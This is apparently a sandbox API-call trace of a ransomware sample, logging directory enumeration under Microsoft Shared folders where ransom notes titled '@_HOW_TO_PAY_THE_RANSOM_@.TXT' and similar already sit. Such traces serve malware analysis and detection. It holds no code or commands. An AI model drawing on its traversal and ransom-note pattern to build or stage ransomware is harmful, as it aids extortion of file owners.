[0070.773] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa78be9e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa78be9e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.774] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa78be9e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa78be9e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="..", cAlternateFileName="")) returned 1 [0070.774] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa77da1a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa77da1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa784c5c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.774] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa784c5c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa784c5c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa78be9e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.774] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa784c5c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa784c5c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa784c5c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.774] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0070.775] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76cf800, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7741c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7741c20, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7741c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7741c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7741c20, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7741c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7741c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0070.775] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0070.775] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="EURO", cAlternateFileName="")) returned 1 [0070.775] AreFileApisANSI () returned 1 [0070.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0070.819] GetFileType (hFile=0x190) returned 0x1 [0070.820] AreFileApisANSI () returned 1 [0070.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0070.826] AreFileApisANSI () returned 1 [0070.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0070.833] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa7930e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7930e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0070.834] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa7930e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7930e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="..", cAlternateFileName="")) returned 1 [0070.834] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7930e00, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7930e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7930e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.834] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7930e00, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7930e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7930e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.834] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7930e00, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7930e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7930e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.834] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0070.834] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0070.834] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0070.834] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="Filters", cAlternateFileName="")) returned 1 [0070.834] AreFileApisANSI () returned 1 [0070.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0070.844] GetFileType (hFile=0x190) returned 0x1 [0070.844] AreFileApisANSI () returned 1 [0070.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0070.848] AreFileApisANSI () returned 1 [0070.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0070.850] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa7956f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7956f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0070.850] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa7956f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7956f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="..", cAlternateFileName="")) returned 1 [0070.850] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7956f60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7956f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7956f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.850] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7956f60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7956f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa797d0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.850] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7956f60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7956f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7956f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.850] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0070.851] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0070.851] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0070.851] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0070.851] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0070.851] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0070.851] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0070.851] AreFileApisANSI () returned 1 [0070.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0070.854] AreFileApisANSI () returned 1 [0070.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0070.855] AreFileApisANSI () returned 1 [0070.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0070.856] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa797d0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa797d0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0070.856] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa797d0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa797d0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="..", cAlternateFileName="")) returned 1 [0070.856] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa797d0c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa797d0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa797d0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.856] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa797d0c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa797d0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa797d0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.856] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa797d0c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa797d0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa797d0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, 